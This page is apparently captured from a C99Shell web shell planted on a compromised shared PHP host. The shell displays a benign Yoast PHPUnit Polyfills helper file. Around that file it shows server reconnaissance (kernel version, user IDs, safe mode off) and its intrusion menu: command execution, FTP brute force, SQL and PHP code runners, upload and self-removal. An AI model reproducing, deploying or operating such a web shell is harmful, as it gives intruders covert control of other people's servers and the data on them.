!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/yoast/phpunit-polyfills/src/Helpers/   drwxr-xr-x
Free 711.36 GB of 879.6 GB (80.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AssertAttributeHelper.php (2.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Yoast\PHPUnitPolyfills\Helpers;

use ReflectionException;
use ReflectionObject;
use ReflectionProperty;

/**
 * Helper to work-around the removal of the `assertAttribute*()` methods.
 *
 * The `assertAttribute*()` methods were deprecated in PHPUnit 8.0.0 and
 * removed in PHPUnit 9.0.0.
 *
 * Public properties can still be tested by accessing them directly:
 * ```php
 * $this->assertSame( 'value', $obj->propertyName );
 * ```
 *
 * Protected and private properties can no longer be tested using PHPUnit native
 * functionality.
 * The reasoning for the removal of these assertion methods is that _private and
 * protected properties are an implementation detail and should not be tested
 * directly, but via methods in the class_.
 *
 * It is strongly recommended to refactor your tests, and if needs be, your classes
 * to adhere to this.
 *
 * However, if for some reason the value of protected or private properties still
 * needs to be tested, this helper can be used to get access to their value.
 * ```php
 * $this->assertSame( 'value', $this->getPropertyValue( $obj, $propertyName ) );
 * ```
 *
 * @since 0.2.0
 */
trait AssertAttributeHelper {

    /**
     * Retrieve a private or protected property in an object.
     *
     * @param object $objInstance  The object.
     * @param string $propertyName The name of property to retrieve.
     *
     * @return ReflectionProperty
     *
     * @throws ReflectionException When a non-existent property is requested.
     */
    final public static function getProperty( $objInstance, $propertyName ) {
        $reflect  = new ReflectionObject( $objInstance );
        $property = $reflect->getProperty( $propertyName );
        ( \PHP_VERSION_ID < 80100 ) && $property->setAccessible( true );

        return $property;
    }

    /**
     * Retrieve the current value of a private or protected property in an object.
     *
     * @param object $objInstance  The object.
     * @param string $propertyName The name of property for which to retrieve the value.
     *
     * @return mixed
     */
    final public static function getPropertyValue( $objInstance, $propertyName ) {
        $property = static::getProperty( $objInstance, $propertyName );

        return $property->getValue( $objInstance );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0841 ]--